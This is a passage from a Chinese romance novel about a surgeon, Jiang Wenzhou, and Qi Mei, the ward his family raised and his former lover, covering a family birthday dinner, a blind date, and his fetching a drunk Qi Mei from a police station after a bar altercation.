声音也不自觉地变得柔和了一些:“还是没有改善么?上次去找张主任看的时候,碰到他们科的舒医生,舒医生的爱人是我们单位中医科的,家里开了中医馆,要不要去看看,捡两剂中药吃吃看?不管中医西医,都想想办法,只要能好就行,妈你觉得呢?” 孙茂芸刚想说那就改天去看看吧,可还没来得及,就见齐眉往沙发上一躺,闭上眼睛,一副绝望至极的模样。 浑身上下都写着拒绝。 惹得大家都一阵好笑,这样一来,江问舟的轻笑声倒是一点都不突兀了,甚至直接被盖了过去。 孙茂芸看着她这样一副摆烂的模样,无奈地笑着摇摇头,紧接着想起别的事,对江问舟说:“舟舟啊,有件事我跟你讲一下。” 江问舟随口嗯了声,孙茂芸刚想说,就见年年不知道怎么了,突然跳起来,朝沙发上的齐眉扑过去,扒在沙发边沿,一边两条后腿在地上蹦跶,一边哼哼唧唧地去舔齐眉的脸。 齐眉被猝不及防地舔了满脸口水,立刻就睁眼坐了起来,哎呀一声推开它,声音嗔怪:“走开,不要舔!我真的没有死,有气的有气的!” 年年哼哼唧唧,还是使劲要往她怀里扑,场面顿时一片凌乱,大家边笑着边拉架,屋里一时热闹极了。 电话另一头,江问舟失笑的往后一仰,人就靠进了沙发里,他手肘撑在扶手上,头一歪,太阳穴就垫住了屈的拳头,整个人懒洋洋的。 他认真听着手机传出来的热闹动静,听到齐眉笑嘻嘻地说:“年年,你今天是荔枝味小狗了。” 接着就是几声犬吠,和父亲爽朗的笑声。 这声音将正在喝水的金金吸引了过来,它竖着大尾巴跑到江问舟身边,仰着脸,冲他咪呜了一声,像是在问他发生了什么事。 “妹妹吃了荔枝。”他笑着应道,伸手把它抱上沙发,摸到它的围脖是湿润的,便拿纸巾帮它擦了擦,然后问,“金金要不要吃?” 猫能吃荔枝吗?应该不能吧,糖分太高了,倒是可以问问医生,看能不能它舔一点荔枝汁,试试味道。 金金应该是没听懂的,歪着头一脸好奇地看向他。 江问舟揉揉它的脑袋,将它抱在怀里,重新捡起放到一旁的手机。 恰好这时年年又吠了一声,金金立刻便凑到手机面前,大声喵起来。 但是它喵了两声后抬头,发现年年没有出现,顿时又愣住,扭头看向江问舟。 江问舟笑着揉揉它脑袋,温声安慰道:“过两天就可以见到妹妹了。” 他笑着叹口气,心说完啦,我们金金怎么这么像父母离婚以后被判给爸爸,从此不能和亲爱的妹妹在一起了的可怜小孩啊? 江问舟:“……”这脑子可真是会瞎想:) 被自己的胡思乱想吓了一跳之后,江问舟失笑着提高声音喊了一声孙茂芸:“妈!” 应声而来的不是孙茂芸,而是年年。 “舟舟快让金金过来,年年就在这儿呢,我刚才都忘了。”孙茂芸笑嘻嘻的声音传来,画面出现一只雪白雪白的狗头。 毛茸茸的,耳朵像个圆润矮胖的三角形,看起来就很好捏,它还咧嘴吐着舌头笑,看上去好像很高兴。 一看见它金金就高兴了,立刻喵了声,年年听见猫叫,也跟着变得兴奋,扭来扭去要找猫在哪儿。 一会儿猫叫一会儿狗叫,大人还要引导它们看手机,吐槽说看手机不就看到了吗?小孩就是小孩,根本不懂视频的含金量。 这样一来也就忘了刚才孙茂芸还有什么事要跟江问舟说,等双方都想起来的时候,电话已经挂断了。 孙茂芸一拍脑袋,嗐了声:“忘了跟舟舟说那件事。” 说完还拍了一下江眀琮的大腿。 江眀琮倒是不以为意,“也不是什么要紧事,到时候他回来再跟他也不迟。” 巧了,江问舟也是这么想的,要是很重要的事,母亲会再打电话过来的,可是电话没来,显然不是什么很重要的事,那就改天再问。 然后到了端午节那天,江问舟却没有回去,而是一大早就被值班的同事摇了回去,接一台急性主动脉夹层的手术。 这一做就是五六个小时过去,从单位出来已经临近傍晚的事,手机上还有两个孙茂芸的未接来电。 他回电话过去,刚喊了声妈,孙茂芸就问他:“今天怎么没回家,电话也不接,是不是在忙什么事不方便接?” “急诊手术。”他应了声是,有些抱歉地说,“只能明天再回去了。” “没事,西西也是明天才回来。”孙茂芸笑眯眯道,“正事重要,家里人都在,哪顿饭都是团圆饭。” 说完顿了顿,又说:“趁着你齐叔叔他们还在容城,我们明天给西西提前过生日哈,你别忘了买个蛋糕回来。” 江问舟先是一愣:“这么快就……” 话没说完,又立刻话音一转,应了声好:“记得了。” 既没有和谁商量,也没有去问齐眉,他直接订了个水果蛋糕,还是阳光玫瑰的。 第二天回去之前,去蛋糕店取蛋糕时,还在路过的水果店买了点蓝莓之类的水果。 回到家,来给他开门的是纪琏,停好车下来,远远就看见齐眉拿着水管正在冲狗,年年在她面前上蹿下跳,像是要玩疯了似的。 “……这是怎么了?”他回头问纪琏。 纪琏忍着笑解释道:“江叔刚才在钓鱼,年年去凑热闹,不小心掉鱼塘里了。” 江问舟:“……”这也行? 他远远看了一会儿,将蛋糕和水果递给纪琏拿进屋,弯腰将航空箱里的金金放了出来。 金金出来之后看见年年,往那边走了两步,停下来扭头看他,江问舟便摆摆手:“去玩吧。” 它这才溜溜达达地靠近齐眉,站在不远处看着她和年年。 齐眉正给年年冲水呢,看见一团金色的毛茸茸过来,刚要惊喜,手一歪,水管的水柱就朝着金金过去了。 金金嗷一声,转头就跑,年年立刻跟着也跑了。 齐眉嘴角一抽,还没来得及尴尬,就看见不远处正看着自己的江问舟,立刻嘴唇一抿,脸板了起来。 紧接着弯腰收起水管,提着就一声不吭地回去了。 江问舟看着她的举动,半晌才叹了口气,耸耸肩。 看来这是气还没消啊,这可怎么办才好呢? ————— 齐眉之前的生日,家里都是出去吃,今年因为纪达和纪琏父子俩难得也在,加上搬了家,地方开阔了,孙茂芸便决定在家给她过生日。 提前半个多月,五一刚过没几天,就跟隔壁养了有活鸡活鸭的邻居订了两只鸡,托人家先养着,等回来了再转到自家。 在后面菜地旁边的荫凉地方,江眀琮和纪达找材料盖了个鸡舍,围着鸡舍圈出来一块空地给它们溜达。 两只鸡一只是老母鸡,很合适用来炖汤,另一只是扇鸡,要用来做烤鸡,一大早就在家庭群里发江眀琮杀鸡的视频。 可江眀琮哪儿杀过鸡啊,他只拿枪打过人,于是视频里那叫一个鸡飞狗跳。 而且还是真正字面意义上的鸡飞狗跳,鸡从江眀琮手里挣脱飞走,他立刻去追,年年一看爷爷需要帮忙,立刻冲上去,鸡被它一吓,扑腾得更快更远了…… “折腾半天,还是小纪帮忙杀的,好家伙,你爸和你纪叔现在是两个没用的老家伙咯。” 孙茂芸一边忙着炒菜,一边吐槽丈夫。 江问舟抿着嘴边听边笑,开玩笑说:“妈你有没有短视频账号,把它放上网,我爸就得火了。” “去去去,去你的,不准这么埋汰你爸。”孙茂芸白他一眼,还冲他挥了一下锅铲,“你爸以前都被人恭恭敬敬叫局长的,你让他这么出丑,他脸还要不要了。” 自家人笑笑还能说是乐趣,放到公共平台去让别人笑,孙茂芸觉得那样简直过分。 江问舟听了还是笑,一边笑还一边叹口气,揶揄说:“其实你最爱我爸,而不是我,也不是西西。” 他是因为她和江眀琮相爱所以降生,齐眉是因为她支持江眀琮一切决定,才得以在这个家留下来的,一声干妈,她就负责了齐眉二十年的人生。 “那当然了,结婚过日子,肯定要和能喜欢一辈子的人过的啊。”孙茂芸有些自得,眼角堆起笑纹。 江问舟低头帮忙处理着要做辣椒炒肉的螺丝椒,笑着应她:“所以说还是我爸有福气。” “我们舟舟也会有的。”孙茂芸扭头,抬手拍拍他肩膀,声音轻快中带着过来人的感慨,“和不喜欢的人在一起生活是不会快活的,要是那样,我宁可你和西西都不结婚,和小猫小狗过一辈子也不是不行。” 江问舟闻言失笑,略有些试探地道:“你这么开明啊,那我以后……可就不找了啊?” 他很难想得到得是什么样的女孩子,才会在知道自己的丈夫和小姑子有过那样的关系后,还能心无芥蒂地融入这个家,和丈夫恩爱和睦,和小姑子和谐相处,恐怕乐山大佛来了都做不到吧。 ——纸是不可能包得住火的,他可不敢像齐眉那样天真。 做过的事必定留痕,况且以他和齐眉的关系,不可能接下来一辈子都不接触,只要对方和他关系足够亲密,和他朝夕相对,时间久了,肯定会发现他和齐眉之间的不妥。 嗯嗯,这还是齐眉教他的呢,让他永远不要小看恋爱中的女孩子,那可是堪比福尔摩斯的存在,她们甚至可以自称列文虎克女孩。 所以啊,为了以后家里的安宁,他最好还是不要把另一个完全无辜的人拉进来好了。 “那可不行,找还是要找的。”孙茂芸的声音在耳后响起,“努力找了但没找到,那是迫不得已,没办法,你直接就不找,那叫摆烂,我们家不允许发生这种事。” 话还没说完,他的耳朵就被拧了一下,“听到没有?不允许!” 江问舟:“……” 帮忙打完下手,江问舟从厨房出来,看见齐眉和纪琏正肩并肩蹲在门口不知道在做什么,有说有笑的。 突然间就觉得他们的背影有些刺眼。 但下一秒他便立刻回过神,走了过去,站在俩人身后低头一看,就见纪琏正拉着逗猫棒的线,齐眉在系着剑麻材质的小鱼上的绳子。 “这是怎么了?”他问道。 齐眉低着头系绳子,没搭理他,纪琏笑着解释道:“金金刚才在玩,年年来凑热闹,用力一扯就咬断了。” “……玩得这么凶?”江问舟有些惊讶,可说完一抬头,就看见一猫一狗在院子里滚成一团,又忍不住一噎,“……确实玩得很疯。” 金金在家里不会这么活泼的,只有跟年年在一起才会这么闹腾。 齐眉修好逗猫棒,举起来就往前一甩,结果还没把金金或者年年吸引来,她往前甩时习惯性的往后那一下,就先把杆子敲在了还站在她和纪琏身后的江问舟额头上。 “啪”的一下,江问舟直接就被敲傻了,眼睛倏地睁圆,错愕地看着面前的始作俑者。 齐眉发现闯了祸,先是一愣,浑身都有些僵硬,旋即回过神来,脱口就是一句:“对、对不住,我不是故意的。” 说完再次微微愣住。 啊,原来她对江问舟说话,也变成这样客气的了。 齐眉突然间就理解了江问舟为什么对她客气说“麻烦你了”,那是当你和对方的关系没那么好的时候,自然而然会有的一种本能。 如果刚才她敲到的是纪琏,她也会这么道歉。 但这也侧面再次印证了她当时的认识。她和江问舟已经陌生至此。 算了,还是不讨厌他了。 见她的神色数次变幻,一会儿恍然像明白了什么,一会儿又像是感慨,甚至还多了几分沮丧,江问舟不知道她想到了什么,也没问,只摇摇头说了句没事。 没过多久就到吃饭时间,现在家里的餐厅很宽敞,长方桌旁边还有一张大圆桌,今天他们就是用的圆桌。 满满一桌菜,还有江问舟带回来的蛋糕和水果。 除了孙茂芸之前给她定的项链,其他人送的都是红包,说是实在不知道给她买什么好,不如直接送红包,让她自由支配。 干脆就先吹蜡烛了,不管最近这段时间心情如何糟糕,至少在今天,认真许愿的时候,齐眉的心情还是不错的。 吹完蜡烛的蛋糕被暂时端到一旁,正式开始吃饭前,孙茂芸先给她夹了两条鸡腿,笑眯眯道:“希望有好事的时候,西西能跑快点,碰到坏事,也能跑快点。” 接着是一对鸡翅膀,“要展翅高飞,看得更高更远,开开心心。” 齐眉抿着唇笑,连连点头,喝了一口汤,笑着说:“走地鸡炖的鸡汤就是好喝。” 虽然是笑着说的话,可江问舟分明看见了她眼睛里浅浅的一层晶莹。 回来得越久,见她的次数越多,他就越能清楚地看到她的小心翼翼。 她真的很努力很小心了,想要守住自己现在拥有的生活,害怕出现一丁点闪失,为此不惜放弃她曾经一腔赤诚的爱情。 当意识到这一点,江问舟觉得,自己曾经对她有过的恨意,一点一点慢慢的,都变成了无奈的叹息。 孙茂芸听到齐眉的话高兴极了,眉飞色舞地道:“是吧,要是还住在市里,哪里买得到这么新鲜现杀的鸡?所以我决定了,过几天就去买小鸡回来养,养十几只,过年我们一天杀一只,吃到过瘾!” 江问舟回过神,闻言笑着附和:“要给它们取名字吗?这只叫除夕,那只叫初一,一直排到十五,怎么样?” 齐眉正在啃鸡腿,闻言嗤地笑了声,眼睛弯起来,好像很开心似的。 江问舟忍不住接连往她那边瞥了两眼。 察觉他的目光,齐眉先是抿抿唇,旋即朝他看回去,满眼都写着:“你瞅啥?” 江问舟嘴角微微一抽,下一秒孙茂芸突然转脸看向他,严肃地叫了一声:“舟舟。” 他愣了一下,忙疑惑地看向母亲。 “有件事前两天忘了跟你说。”孙茂芸正色问道,“你记不记得上次我说你陈阿姨想给你介绍她侄女的事?” 齐眉和纪家父子闻言不约而同地看向江问舟。 江问舟被看得一囧,尤其是齐眉,他很难不想起上次提这事时,她看自己时哀愁得像绝望困兽的目光,顿时后脑勺一阵发麻。 “不是回绝了么?”他忙反问道。 “是啊,我跟你陈阿姨说你太忙了,还是算了,不要耽误人家女孩子。”孙茂芸点点头,夹了块烤鸡,“我知道你的意思其实是忙不忙都不想去,没错吧?” 江问舟一噎,她慢条斯理的继续道:“但是呢,你陈阿姨问我要了你的单位信息,说家里人有不舒服,想挂个你的号去看看,我没多想就告诉她了,结果前几天,她突然跟我说,她侄女去看过你了,觉得还不错,所以还是想跟你认识认识。” “我想了想,又和你爸商量了一下。”孙茂芸抬眼看向他,认真道,“你要不还是去见见吧,人家女孩子都主动到这份上了,你也该大方一点,成不成无所谓,去见一面,算是最起码的尊重。” 说完还问了他一句:“你说呢?” 江问舟已然愣住,根本不知道说什么才好。 他的记忆力还没有退化到记不清近期见过什么人的地步,立刻便想起那天在门诊见到的据说是在医保局工作的那位女患者。 对方说:“你很快就会真的相信,我不是来暗访的。” 还说:“改天再见,江医生。” 这两句话结合母亲现在说的这番话,意思不言自明。 他的眼睑一垂,似乎面露犹豫,齐眉见状,吃鸡腿的动作都停了下来。 江眀琮这时道:“反正你也没对象,去认识一下也无妨,别的媒人不好说,你陈阿姨还是靠谱的,她这个人说话办事都实在,既然她夸她侄女好,那就算不是一百分的好,起码也有八十分,再有就是你妈妈说的那样,要尊重人家,女孩子都这么主动了,你要是躲着,不好看。” 纪达也说,毕竟介绍人是父母的朋友,人情还是要讲的,大不了去走个过场就回来。 还说纪琏当时也是相亲才认识的爱人,相亲本质也是交朋友,只不过因为关系两个家庭,涉及到财产分配,所以才复杂了一点,云云。 江问舟静静地听着,心里有些摇摆。 倒不是真的想找个人开始新关系了,而是当他知道自己和齐眉没有回头路可走之后,就想过要经历的过程——相亲了,一直没成功,时间一长就算了,像这世间许多普通人一样。 他要尽力将自己包裹成一个“正常人”,这样父母才不会想太多,他和齐眉的过去才不会被他们发现。 如果当时那个会在朋友圈秀恩爱,骄傲地向别人介绍这是他女朋友的江问舟知道他此时的想法,也会笑话他的胆小和倒退。 他叹口气,点点头答应道:“……好吧,那就、你们定一个时间?” 一句话就让桌上其他人都高兴地笑起来,纪琏还说到时候江问舟结婚,他一定来喝喜酒,给他包一个大红包。 只有齐眉觉得不高兴,抿着唇低下头去,狠狠咬了一大口鸡腿,把嘴巴塞满以后,再使劲用力地嚼着。 还趁大家都没注意,抬头狠狠瞪了一眼江问舟。 江问舟感觉敏锐,立刻就察觉她的视线,但他浑不在意,只当没发现。 迟早都会习惯的,等习惯了,她就不会反应这么大了,她现在只是…… 小朋友舍不得自己的旧玩具要被父母送给别人了,很正常,等有了新玩具,就不会记得旧玩具了。 吃完午饭,齐眉下午早早就出门,说店里今天要上新品,她得去看看要不要做最后的调整。 实际上是不想继续在家里看到江问舟的脸。 偏偏去到店里以后,坐着玩手机时,网站推送给她的热门帖子,题目叫做“小姑子应该与哥嫂保持合适的距离”。 齐眉:“???” 她忍不住翻了个白眼,在心里骂了一声,起身走进吧台。 白班的咖啡师见她进来,一边萃取着浓缩咖啡,一边问她:“眉姐你要找啥?” “荔枝呢?”齐眉四处在吧台上找着。 “下面,冰箱。”对方示意她,又问,“你要喝荔枝冷萃吗?” 刚想说可以让人给她做,就见她摇摇头:“我调一杯荔枝马提尼,你们喝不喝?” 立刻便听到大家的回答:“好啊,来一杯,谢谢眉姐。” “我也要!” 荔枝果肉剥好,加入伏特加、少许荔枝利口酒和青柠汁,打碎以后过滤进雪克壶,摇匀后倒进马提尼杯里,液体是乳白状的,入口冰凉清甜,果香浓郁。 齐眉接连喝了两杯,在大家一致的交口称赞中觉得有些酒意上头的飘飘然。 到这时她才呼出口气,觉得今天总算不是以坏消息收尾。 但这个生日过得确实谈不上多么愉快。 第36章 第三十六章(二合一)这个电话迟到了…… 不知道孙茂芸和介绍人是怎么说的,总之,端午假期最后一天的晚上,天刚黑,江问舟就坐在了华山路一家咖啡店里。 孙茂芸的意思是,早见晚见都是见,不如早见早有结果。 但出门前又一再叮嘱:“好好跟人家聊,多哄哄,多说点好听话,知道没有?” 好似一副特别期待好消息的样子。 看得江问舟只想叹气,看来今天要让孙女士失望了。 他的对面,坐着的正是那天在门诊见到过的聂初晴——当知道陈阿姨的侄女去门诊看过他时,他就想起来当时让学生看过对方的名字。 “看,我没说错吧?我们又见面了,江医生。”聂初晴笑吟吟地冲他举了举咖啡杯,还眨眨眼,“现在你应该不会觉得我是医保去暗访的了吧?” 江问舟失笑,先说了声抱歉,然后笑道:“临床一线对医保方面确实经常……有点应激,你应该知道。” “当然。”聂初晴耸耸肩,叹口气,“其实我们大家都很无奈,对吧?” 江问舟笑着点点头,但没有接这话,他没什么欲望在这个时候这个场合,聊什么医保什么政策解读。 那太可怕了,听起来就相当命苦。 但他也实在不知道该说什么,他对这种场合完全陌生,没有任何应对经验。 幸好聂初晴及时续上了话题,说:“我让我婶婶问阿姨要了你的工作单位和出诊信息,去挂了你的号,希望你不要介意,我不是有心占用医疗资源,只是……” 她顿了顿,才继续道:“最近确实工作压力比较大,出现过心悸。” “检查结果怎么样?”江问舟想起来当时还给她开了检查,但她并没有回头找他看结果。 “还行,让我多休息。”聂初晴说完苦笑一下,“偏偏这个最难做到。” 江问舟点点头,随即再次卡壳,搜肠刮肚的寻找措辞,试图找到委婉又准确的语句,来告诉对方自己并没有进一步发展的意向。 不知道是不是看出他的犹豫,聂初晴问道:“我看江医生的样子,似乎……对个人问题不是很着急?” 江问舟微微一愣,抬眼望向对面,看到她坦荡明亮的双眼,点点头,有些抱歉地应了声是。 “……确实不是很着急。”他斟酌着道,“至少目前,我还是以工作为重。” 他顿了顿,像是找到了合适的理由,语句一下就变得流畅起来:“你可能听陈阿姨说过,我是今年才从申城回来工作的,新的工作单位,新的身份和工作内容,新的人际关系,说实话,我到现在都还不算完全捋顺。” “所以也没心思去考虑……”他再次抱歉地笑笑,“我也不认为人必须成家,所以……我和你的人生规划应该方向不同。” 聂初晴歪头看着他,有些好奇似的道:“据我观察,男医生,尤其是你这样盘靓条顺家庭条件还好的男医生,应该是香饽饽,不太可能单身,即便是单身,也很可能是离异的,可是江医生你还是初婚……我能问问为什么吗?” “我就当聂小姐是谬赞了。”江问舟失笑,接着摇摇头,声音平淡,“没什么很特别的原因,我有过一位交往了几年的……前女友,后来……我们分开了。” “感情很好吗?”聂初晴紧追着问,“为什么分开呢?” “人生规划出现了分歧,没谈拢。”江问舟的语气还是很平静,但他的坐姿变了一下。 起初他的手放在桌上,虚拢着咖啡杯,在回答这个问题时,他的手指松开了,身体往后一靠,靠进座椅里,双手呈环胸的姿态。 很显然,他不愿意多谈这个话题。 或者应该说是,他不愿意多聊这个人。 聂初晴猜测要么是对方伤他太深,要么是他还忘不掉对方,这两种情况对他来说都是心里一道伤,所以他才不愿提及。 简而言之,前一段感情的影响还未消散,所以他无法进入下一段感情。 这不比什么工作太忙,还需要适应新环境来得真实多了? 聂初晴笑笑,跳过了这个话题,笑道:“这么看来,我们确实不太合适,我对成家的需求还蛮急迫的。” 江问舟点点头,随口猜测:“因为生育年龄?” “这是原因之一,我已经三十岁了,越往后越不好要孩子。”聂初晴抿了口咖啡,笑着回答道,“更重要的是,稳定和睦的家庭对我的工作有益,在晋升方面。” 江问舟了然,点点头,心说那是真的万分不适合了,不然以后…… “但是……”聂初晴看他一眼,试探着问道,“我也不是特别着急,江医生应该……不是独身主义或者不婚主义吧?” 虽然没有明说,但意思很明显,就是如果江问舟愿意的话,她这两项计划都可以稍稍押后,毕竟只要人对了,这两个目标是很容易实现的。 但江问舟不置可否地笑笑,忽然反问她:“聂小姐觉得,一个家庭里,有哥哥也有妹妹,成年后,哥哥结婚了,应该怎么对待妹妹?还能以前那样亲密无间,无微不至吗?” 聂初晴一愣:“……兄妹之间是亲人,本来就该守望相助,怎么可以因为结婚了,就生分了呢?” 江问舟嗯了声,神色不变,继续问道:“那如果……这对兄妹之间,不仅没有血缘关系,妹妹甚至不是这家收养的孩子,只是寄养,如果是这样呢?” “……啊?”聂初晴一怔,转瞬脱口而出,“那不就是青梅竹马?” 这哪是普通的兄妹,分明就是青梅竹马啊! 她看向江问舟那张温润如玉的脸,神色顿时变得有些复杂怪异:“你的意思是……不会是、你家……” 她呃了一下,没把话说完,但是看江问舟的目光越来越意味深长,完全将自己的意思呈现在了脸上。 “你没有听陈阿姨说过吗?”江问舟很淡定地反问,“我爸爸战友的遗孤在我们家生活,迄今已经有二十年。” 聂初晴闻言一愣,旋即反应过来,恍然大悟地收起方才的神色,点头道:“确实听我婶婶说过,说是叔叔阿姨帮忙照顾的,但是……” 她想说这没什么,就跟亲生妹妹一样,如何如何,但还没说呢,就被江问舟打断:“我的父母视她如亲生,她是我们家很重要的一个人,举个例子就是……” 他顿了顿,组织了一下语序:“假如她现在来一个电话,告诉我,她需要我帮忙,除非我在手术室在门诊实在走不开,或者在外地鞭长莫及,否则我一定会尽快结束手头的事,赶到她身边。” 说到这里他停了下来,伸手端过咖啡杯抿了一口,发现杯子里的咖啡已经凉透了。 聂初晴的脸色此时再次一变。 江问舟的言下之意她听懂了,就是说如果他们在一起,约会也好,干嘛都好,只要一个电话过来,他就会把她扔那儿,他屁颠屁颠的去为他妹妹鞍前马后呗? 哇靠!人渣,这特么谁家姑娘嫁了他能不成怨妇啊? 这辈子都得生活在小姑子的阴影之下,跟小姑子争宠?而且这个小姑子还和自己老公没血缘关系! 啊啊啊,一些不可描述的剧情开始入脑了! 聂初晴看江问舟的目光又一次变得复杂起来,甚至有些怪异,一副欲言又止的模样。 江问舟顶着她这样的目光,淡定地喝着咖啡。 他知道她想说什么,但他赌她不会说,因为顾及彼此,尤其是双方大人的颜面。 聂初晴看他半天,总算把心里的吐槽憋住了,有些烫嘴似的干笑两声:“是、是么……那、那你们家人……感情还真是好,哈哈……” 江问舟笑笑,淡淡地说了句:“家人么。” 不都这样? 聂初晴:“……”好好好,但你老婆会是外人:) 该死的封建糟粕!!! 江问舟不知对方对自己的态度已经从欣赏喜欢,转变成嫌弃无语,还在琢磨该怎么结束这次相亲,都已经九点多了…… 聂初晴似乎也没了继续聊下去的兴致,只一味低头喝着咖啡,似乎和他有着同样的苦恼。 还没等他们哪一个先提出告辞,江问舟的手机响了。 二人不约而同地松口气。 尤其是江问舟,在看到来电显示后,脸上的表情变得有些错愕。 等到他接起电话,聂初晴才发现他的*语气比他的表情奇怪多了,惊讶、疑惑和忐忑等等情绪全都浓缩进两个字里:“西西?” 江问舟没想到齐眉会在这个时候突然打电话过来。 为什么?她想做什么? 江问舟有些忐忑,心里暗自嘀咕,不会这人是来兴师问罪的吧? 齐眉应该知道他今晚出来相亲的,因为孙茂芸不仅一早就将地址和聂初晴的姓名发在家庭群,还怕他搞错人,附加了一张照片,齐眉除非屏蔽了这个群,否则不可能忙得一天都没时间看一眼群信息。 所以她是终于按捺不住,要对他兴师问罪了吗? 可是……师出何名? 江问舟屏着气等了一会儿,没等来齐眉的质问,倒是听见了一道轻软又疑惑的问句:“你是谁呀,怎么知道我名字?” 他愣了一下,旋即鼻子一酸。 咕咕哝哝像是在撒娇,这样的齐西西他有多久没见过了?自从他们分开以后,他就只能感受到她冷酷理智的情绪。 他好不容易回来了,她对着他像刺猬一样,喜怒忧思悲恐惊这七情,除了喜,她全都感受到了,甚至日夜煎熬。 她不会以为他真的不知道她为什么咳嗽这么久都不好吧? 可是,他从没想过有一天,他会是那个害得她寝食难安夜不能寐的人。 他甚至都在想,自己是不是应该尽量别回家,尽量别出现在她面前,就像还在申城没有回来一样,她会不会好过一点。 所以尽管理智告诉他,齐眉这种声音明显不正常,但他还是忍不住心里一颤,连声音都软了下来:“嗯,我知道你叫西西……你现在在哪里?” 回答他的却是另一道浑厚的男声:“喂?你好,我们这边是南景派出所的,你是……是这姑娘的什么人啊?” 江问舟一怔,派出所?齐眉怎么会去派出所? “……我、我是她哥哥。”他忙回答道,立刻接着问,“她、她是不是出什么事了?” 对面回答说:“她在酒吧跟人家打架,把人家脸都抓花了,也喝醉了,你过来接一下她吧。” 打架?江问舟的第一反应就是不可能,“我妹妹从小就很听话,从来不跟人红脸的,不可能打架,你、你们是不是搞错了?是不会有什么误会?” 对面的聂初晴听到这里忍不住眼睛一眯,嘴角撇了撇,此刻幻视一些熊家长,说一些什么我家孩子从小就听话之类的…… 人抛掉滤镜只要某个瞬间。 江问舟没注意她的态度变化,一边接电话,一边起身往服务台走,走了两步又停下来,转身同聂初晴告别:“很感谢聂小姐你愿意浪费这个晚上,但……” 他抱歉地笑笑:“我有些急事需要去处理,就先走了,希望你能尽快找到中意的人选。” 没有说再见,因为无需再见。 聂初晴笑笑,点点头,心说真可惜,多好一个人,偏偏脑子不正常。 江问舟从咖啡店离开,急匆匆赶到南景路派出所,刚进门还没来得及环顾四周,或者去值班台询问,就看见齐眉背身蹲在角落里的盆栽旁边,抱着膝盖不知道在看什么。 长长的微微卷曲的头发披了满背, 旁边一个穿着热裤和紧身上衣的女生弯着腰和她一起在看,还一直指指点点:“打它,打它!左边,左边!你行不行啊,不行让我来!” 江问舟:“???” 他忙喊了一声:“西西。” 背对着他的人应声抬起头,却是问旁边的人:“西西是谁呀?” 旁边那姑娘也一脸懵逼:“不知道啊。” 倒是一位值班的女民警帮忙提醒道:“西西,你哥哥来接你了。” 应该是之前接电话的时候听到他称呼齐眉西西,所以民警同志记住了。 齐眉一愣:“……我、哥哥?” 她转了个身,愣愣地看向江问舟,还没等他向她走过去,就突然间起身,晃晃悠悠地趔趄着向他扑过来。 “江问舟,是你来接我了吗?” ————— 齐眉扑进怀里的那一刻,江问舟恍惚间像是回到了从前。 读书时他去接她放学,她从楼梯上蹦跳着冲下来,笑嘻嘻地叫他:“哥!” 后来他们在一起,他只要张开双臂,不管她离他远还是近,都会扑进他的怀里。 这时她会大声叫他全名:“江问舟!” 她活泼,明媚,像春日枝头的灼灼桃花,还有情人节时擎在手上的仙女棒,将他的世界照耀得明亮又绚丽。 可是这种光芒他觉得已经很久没见过了。 说要禁燃烟花炮竹,也没说是要禁他的呀。 江问舟觉得喉咙有些隐隐作痛,努力忍住眼底的酸涩,低头看着扑到怀里的人,问她:“你有没有受伤?” 嗯,他来的路上已经接受了齐眉学会打架了这件事。 就是不知道打的水平怎么样。 齐眉眨眨眼,有些不明所以似的,眼神茫然之中透着一丝懵懂。 他还是第一次见到她喝醉的样子,毕竟她以前是不喝酒的,觉得有些稀奇,又有些忍不住的窃喜。 起码她喝多了是打电话给他,而不是别人。 眼见着一时半会儿从她这儿是问不出什么来的了,江问舟只好将她扶好,拉着她往值班台走。 去问刚接待完其他人的值班民警:“您好,我想请问一下,就是……我、妹妹跟谁打架了?为什么打架的?另一个当事人呢?” 值班民警介绍道:“我们是接到今朝酒吧的老板的报警电话……” “我来说,我来说!” 民警的话刚起了个头,就被打断了,江问舟扭头一看,是刚才站在齐眉旁边的那个年轻女郎。 她笑嘻嘻地同江问舟打招呼:“帅哥你好,我就是今朝酒吧的老板,报警的是我,事情是这样的,你妹妹呢,下午就来我们酒吧了,跟我们的调酒师聊得很开心,一直坐到晚上,喝了大概五杯鸡尾酒,有点醉了,我们另一个客人比她喝得还多,说话就有点不注意……” “他欺负我!”被江问舟拉着的齐眉突然嚷嚷起来,使劲甩着手腕,要挣脱他的手。 江问舟一愣,连忙松手,下一秒又立刻握住她胳膊,扭头上下打量着她,急急忙忙地问:“他欺负你?怎么欺负你的,有没有受伤?” 齐眉被他这么一问,嘴巴立刻一扁,像个小孩一样巴巴地告状:“他摸我的手,我不给,他还摸!” 江问舟闻言脸色一冷,看一眼旁边那位酒吧老板,目光有些不善,似乎在质问什么。 对方被他看得一时讪讪,想要辩解:“那她还把人……” “然后我把他打了。”齐眉这时继续道,眨巴着眼睛,“我用酒杯砸他了,还、还抓他脸!” 据说是对方先跟她搭讪,问她要联系方式,说要跟她交朋友,齐眉当然不答应,对方继续纠缠,还摸她的手,要拉扯她,说请她喝酒,她一不高兴,就举起酒杯敲过去了。 对方被她突如其来的发作吓懵了,没来得及反应,就被她接着抓花了脸,随后便嚷嚷着要报警,在店里大吵大闹,所以老板没办法,才报了警。 值班民警过去之后,查过监控,把两个醉鬼都带回了派出所,老板也跟着过来,看看怎么处理这事。 江问舟耐着性子听完整件事的来龙去脉,只关心:“那个人呢?” 他想看看那人到底伤成什么样了,齐眉这战斗力到底够不够。 酒吧老板闻言立刻抬头四处张望:“咦?人去哪儿了,刚才还在这儿的,还嚷嚷说要我们赔钱呢,人呢?” 话音刚落,一位穿着花衬衫,头发梳得苍蝇都站不稳的年轻男人,被一位健壮的女士扭着耳朵从外面扯了进来。 齐眉一见这人,立刻往江问舟怀里缩,声音都变了:“……就、就是他。” 江问舟连忙抱紧她,同时扭头皱眉往来人看去。 只见对方被扯着直冲他们面前,他下意识搂着齐眉往后退了一步,沉声问道:“你们这是做什么?” “那个……”拧着年轻男人耳朵的女士急刹车停下来,有些讪讪地道,“那个、是我弟弟不好,欺负了你家……你家小姑娘,我骂过他了,就是、就是让他来道个歉……” 大概是江问舟的脸色看起来不好,对方的态度也很拘束,说到这里扭头一瞪自己弟弟,大声骂道:“道歉啊还愣着干嘛?还要我揍你是吧?” 她弟弟被吼得一哆嗦,整个人都变得弯腰驼背的,抬头看一眼江问舟,准确的说是看一眼他怀里的齐眉,蔫头耷脑地说了声对不起。 声音太小了,他姐姐立刻又吼:“大声点啊!你没吃饭吗?!” 他只好老老实实地加大音量,重新说了声对不起。 说完之后她姐姐又继续对江问舟赔笑:“我弟弟他年纪小,不懂事,我爸妈走得早,没人教他怎么对待喜欢的女孩子,所以……” 